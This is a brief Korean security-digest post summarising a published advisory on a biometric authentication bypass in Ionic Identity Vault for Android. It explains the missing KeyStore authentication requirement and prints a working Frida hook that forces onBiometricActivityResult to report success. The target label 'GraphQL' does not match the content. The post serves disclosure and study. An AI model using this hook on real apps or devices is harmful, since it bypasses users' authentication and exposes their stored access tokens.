[하루한줄] Ionic Identity Vault Biometric Authentication Bypass
URL
https://blog.compass-security.com/2021/09/ionic-identity-vault-biometric-authentication-bypass/
Target
- GraphQL
Explain
엑세스 토큰 같은 인증 정보를 저장하는데 사용되는 Ionic Identity Vault에서 생체인증 우회 취약점이 발견되었습니다.
먼저 유저가 데이터 접근 인증을 위해 생체인증을 활성화하게 되면 automaticallyCreateKey
메소드가 호출됩니다. 이 메소드에서는 KeyGenParameterSpec.Builder
메소드를 통해 새로운 KeyStore entry를 생성합니다. 이 과정에서 setUserAuthenticationRequired
메소드를 사용하지 않아 KeyStore entry는 사용될 때 사용자에게 생체인증을 요구하지 않게되고 인증 없이 사용될 수 있게 됩니다. 대신 다른 기능에서 이 기능을 대체합니다.
따라서 유저가 데이터 접근을 하게되면 생체인증을 위한 화면이 팝업되고 지문인식을 하면 loadKey 메소드가 호출됩니다. 이 과정 전에 onBiometricActivityResult
메소드가 호출되는데, 인증 결과를 첫 번째 인자로 받습니다. 인증 결과가 -1이면 인증에 성공하여 forceUnlock 메소드를 호출합니다.
KeyStore entry가 인증을 요구하지 않기 때문에, onBiometricActivityResult
메소드를 후킹해서 onBiometricActivityResult
의 첫번재 인자를 -1로 세팅하여 인증을 우회할 수 있습니다.
Java.perform(function x() {
var myclass = Java.use("com.ionicframework.auth.IonicNativeAuth");
myclass.onBiometricActivityResult.implementation = function (a, b) {
console.log("[*] Biometric Authentication Bypass Hook");
console.log("Class: com.ionicframework.auth.IonicNativeAuth");
console.log(" Method: onBiometricActivityResult");
console.log(" Parameter: " + a);
console.log("Change result from 0 to -1 in order to bypass authentication.");
this.onBiometricActivityResult(-1, b); // This calls the method always with -1
}
});
본 글은 CC BY-SA 4.0 라이선스로 배포됩니다. 공유 또는 변경 시 반드시 출처를 남겨주시기 바랍니다.